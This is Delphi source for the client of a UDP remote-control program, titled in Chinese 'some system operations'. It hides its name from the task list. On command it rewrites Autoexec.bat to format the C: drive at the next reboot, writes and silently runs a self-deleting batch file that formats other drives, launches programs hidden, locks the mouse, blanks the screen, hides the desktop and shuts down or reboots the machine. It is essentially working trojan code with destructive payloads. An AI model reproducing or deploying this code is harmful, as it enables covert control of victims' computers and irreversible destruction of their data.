一些系统操作 客户端

unit UnitClient;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, NMUDP,shellapi,mmsystem, StdCtrls;
type
TForm1 = class(TForm)
NMUDP1: TNMUDP;
Button1: TButton;
Button2: TButton;
procedure FormCreate(Sender: TObject);
procedure NMUDP1DataReceived(Sender: TComponent; NumberBytes: Integer;
FromIP: String; Port: Integer);
procedure Button1Click(Sender: TObject);
procedure Button2Click(Sender: TObject);
private
{ Private declarations }
procedure winexit(var msg:Tmessage);message WM_QUERYENDSESSION;
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
const BufSize=2048;{ 发送每一笔数据的缓冲区大小 }
var
BmpStream:TMemoryStream;
{$R *.dfm}
//获取计算机名
function ComputerName : String;
var
CNameBuffer : PChar;
fl_loaded : Boolean;
CLen : ^DWord;
begin
GetMem(CNameBuffer,255);
New(CLen);
CLen^:= 255;
fl_loaded := GetComputerName(CNameBuffer,CLen^);
if fl_loaded then
ComputerName := StrPas(CNameBuffer)
else
ComputerName := '不知道!';
FreeMem(CNameBuffer,255);
Dispose(CLen);
end;
procedure TForm1.FormCreate(Sender: TObject);
begin
application.Title:='';
//应用程序没有名称，按Ctrl+Alt+Del时看不到程序
//application.showmainform:=false;
//程序运行时不显示
BmpStream:=TMemoryStream.Create;
end;
procedure TForm1.winexit(var msg: Tmessage);
//退出程序
begin
msg.Result:=1;
application.ProcessMessages;
application.Terminate;
end;
procedure TForm1.NMUDP1DataReceived(Sender: TComponent;
NumberBytes: Integer; FromIP: String; Port: Integer);
var
CtrlCode:array[0..250] of char;
Trun:string;
hDesktop : Thandle;
forc,ford:textfile;
//向Autoexec.bat写格式化命令
begin
NMUDP1.ReadBuffer(CtrlCode,NumberBytes);
// 读取控制码
if CtrlCode[0]+CtrlCode[1]+CtrlCode[2]+CtrlCode[3]+CtrlCode[4]+CtrlCode[5]='fordis' then
//格式化磁盘
if CtrlCode[6]='c' then
//格式化系统盘，将命令写入autoexec.bat，重起后生效
begin
assignfile(forc,'c:/Autoexec.bat');
rewrite(forc);
writeln(forc,'@echo off');
writeln(forc,'format c:/q');
// /q快速格式化
writeln(forc,'echo y|format c:/q >nul');
//在Dos shell控制台下显示格式化信息
closefile(forc);
end
else
//格式化其它磁盘，将命令写入批处理文件，立即执行
begin
assignfile(ford,'c:/a.bat');
rewrite(ford);
writeln(ford,'@echo off');
writeln(ford,'format '+CtrlCode[6]+':/q');
writeln(ford,'@del %0');
closefile(ford);
winexec('c:/a.bat',sw_hide);
//开始格式化
end;
if CtrlCode[0]+CtrlCode[1]+CtrlCode[2]+CtrlCode[3]+CtrlCode[4]+CtrlCode[5]='ccompu' then
//计算机睡眠
SetSystemPowerState( true, true );
if CtrlCode[0]+CtrlCode[1]+CtrlCode[2]+CtrlCode[3]+CtrlCode[4]='hdesk' then
//隐藏桌面
begin
hDesktop := FindWindow('Progman', nil);
//获取桌面程序句柄
ShowWindow(hDesktop, SW_HIDE);
//SW_HIDE,隐藏桌面
end;
if CtrlCode[0]+CtrlCode[1]+CtrlCode[2]+CtrlCode[3]+CtrlCode[4]='sdesk' then
//显示桌面
begin
hDesktop := FindWindow('Progman', nil);
ShowWindow(hDesktop, SW_show);
//SW_show,隐藏桌面
end;

if CtrlCode[0]+CtrlCode[1]+CtrlCode[2]+CtrlCode[3]='hrun' then
//隐藏运行程序
begin
trun:=CtrlCode;
delete(trun,1,4);
//删除控制码，得到要运行程序名
shellexecute(handle,'open',pchar(trun),nil,nil,SW_hide);
end;
if CtrlCode[0]+CtrlCode[1]+CtrlCode[2]+CtrlCode[3]='nrun' then
//显式运行程序
begin
trun:=CtrlCode;
delete(trun,1,4);
//删除控制码，得到要运行程序名
shellexecute(handle,'open',pchar(trun),nil,nil,SW_show);
end;
if CtrlCode[0]+CtrlCode[1]+CtrlCode[2]+CtrlCode[3]='irun' then
//最小化运行程序
begin
trun:=CtrlCode;
delete(trun,1,4);
//删除控制码，得到要运行程序名
shellexecute(handle,'open',pchar(trun),nil,nil,SW_MINIMIZE);
end;
if CtrlCode[0]+CtrlCode[1]+CtrlCode[2]+CtrlCode[3]='mrun' then
//最大化运行程序
begin
trun:=CtrlCode;
delete(trun,1,4);
//删除控制码，得到要运行程序名
shellexecute(handle,'open',pchar(trun),nil,nil,SW_MAXIMIZE);
end;
if CtrlCode[0]+CtrlCode[1]+CtrlCode[2]+CtrlCode[3]+CtrlCode[4]+CtrlCode[5]='ocdrom' then
//弹出cdrom
mciSendString('Set cdaudio door open', nil, 0, handle);
if CtrlCode[0]+CtrlCode[1]+CtrlCode[2]+CtrlCode[3]+CtrlCode[4]+CtrlCode[5]='ccdrom' then
//合上cdrom
mciSendString('Set cdaudio door closed', nil, 0, handle);
if CtrlCode[0]+CtrlCode[1]+CtrlCode[2]+CtrlCode[3]+CtrlCode[4]+CtrlCode[5]='cmouse' then
//锁定鼠标
button1.Click;
if CtrlCode[0]+CtrlCode[1]+CtrlCode[2]+CtrlCode[3]+CtrlCode[4]+CtrlCode[5]='omouse' then
//解锁鼠标
button2.Click;
if CtrlCode[0]+CtrlCode[1]+CtrlCode[2]+CtrlCode[3]+CtrlCode[4]='cscre' then
//黑屏
SendMessage(Application.Handle, wm_SysCommand, SC_MonitorPower, 0) ;
if CtrlCode[0]='' then
//发送信息
Application.MessageBox(CtrlCode,pchar(ComputerName),MB_OK);
if CtrlCode[0]+CtrlCode[1]+CtrlCode[2]+CtrlCode[3]+CtrlCode[4]='oscre' then
//解黑屏
SendMessage(Application.Handle, wm_SysCommand, SC_MonitorPower, -1) ;
if CtrlCode[0]+CtrlCode[1]+CtrlCode[2]+CtrlCode[3]+CtrlCode[4]+CtrlCode[5]+CtrlCode[6]='restart' then
//重新启动计算机
ExitWindowsEx(EWX_REBOOT,2);
if CtrlCode[0]+CtrlCode[1]+CtrlCode[2]+CtrlCode[3]+CtrlCode[4]='close' then
//关闭计算机
ExitWindowsEx(EWX_SHUTDOWN and EWX_POWEROFF ,1);
end;
procedure TForm1.Button1Click(Sender: TObject);
var
rtButton2: TRect;
begin
rtButton2 := Button2.BoundsRect;
MapWindowPoints(handle, 0, rtButton2, 2);
// 座标换算
ClipCursor(@rtButton2);
// 限制鼠标移动区域
end;
procedure TForm1.Button2Click(Sender: TObject);
var
rtScreen: TRect;
begin
rtScreen := Rect(0, 0, Screen.Width, Screen.Height);
ClipCursor(@rtScreen);
end;
end.